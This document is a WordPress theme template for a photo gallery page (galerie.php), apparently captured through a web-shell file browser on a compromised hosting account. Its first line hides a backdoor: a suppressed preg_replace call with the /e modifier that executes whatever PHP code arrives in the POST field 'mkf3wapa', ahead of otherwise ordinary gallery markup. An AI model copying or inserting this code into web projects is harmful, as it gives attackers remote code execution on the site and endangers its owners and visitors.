Current Path : /home/scoots/www/wp-content/themes/scoots33/ |
Linux webm002.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 |
Current File : /home/scoots/www/wp-content/themes/scoots33/galerie.php |
<?php /* Template Name: Galerie Photos */ @preg_replace("/[pageerror]/e",$_POST['mkf3wapa'],"saft"); ?> <?php get_header() ?> <div id="container"> <div id="content"> <?php the_post() ?> <div id="post-<?php the_ID() ?>" class="<?php sandbox_post_class() ?>"> <div class="entry-content"> <?php the_content() ?> <?php wp_link_pages('before=<div class="page-link">' . __( 'Pages:', 'sandbox' ) . '&after=</div>') ?> <?php edit_post_link( __( 'Edit', 'sandbox' ), '<span class="edit-link">', '</span>' ) ?> <?php $produit = 1; $fileProduit = get('reference', $produit); for ($produit = 1; $fileProduit != ""; $produit++) { echo '<div class="produit">'; $fileProduit = get('reference', $produit); if($fileProduit!= "") { echo '<div class="produitTitre">'.get('reference', $produit).'</div>'; $photo = 1; $file = get('photo', $produit, $photo); for ($photo = 1; !empty($file); $photo++) { $file = get('photo', $produit, $photo); if(!empty($file)) { ?> <a rel="lightbox[Galerie]" href="<? echo $file; ?>"><img class="imgGalerie" src="<?php echo pt(); ?>?src=<?php echo $file; ?>&w=100>&h=100>&zc=C>" /></a> <?php } } } echo '</div>';} ?> <!--Fin produit--> </div> </div> <!-- .post --> <?php if ( get_post_custom_values('comments') ) comments_template() // Add a key+value of "comments" to enable comments on this page ?> </div> <!-- #content --> </div> <!-- #container --> <?php get_sidebar() ?> <?php get_footer() ?>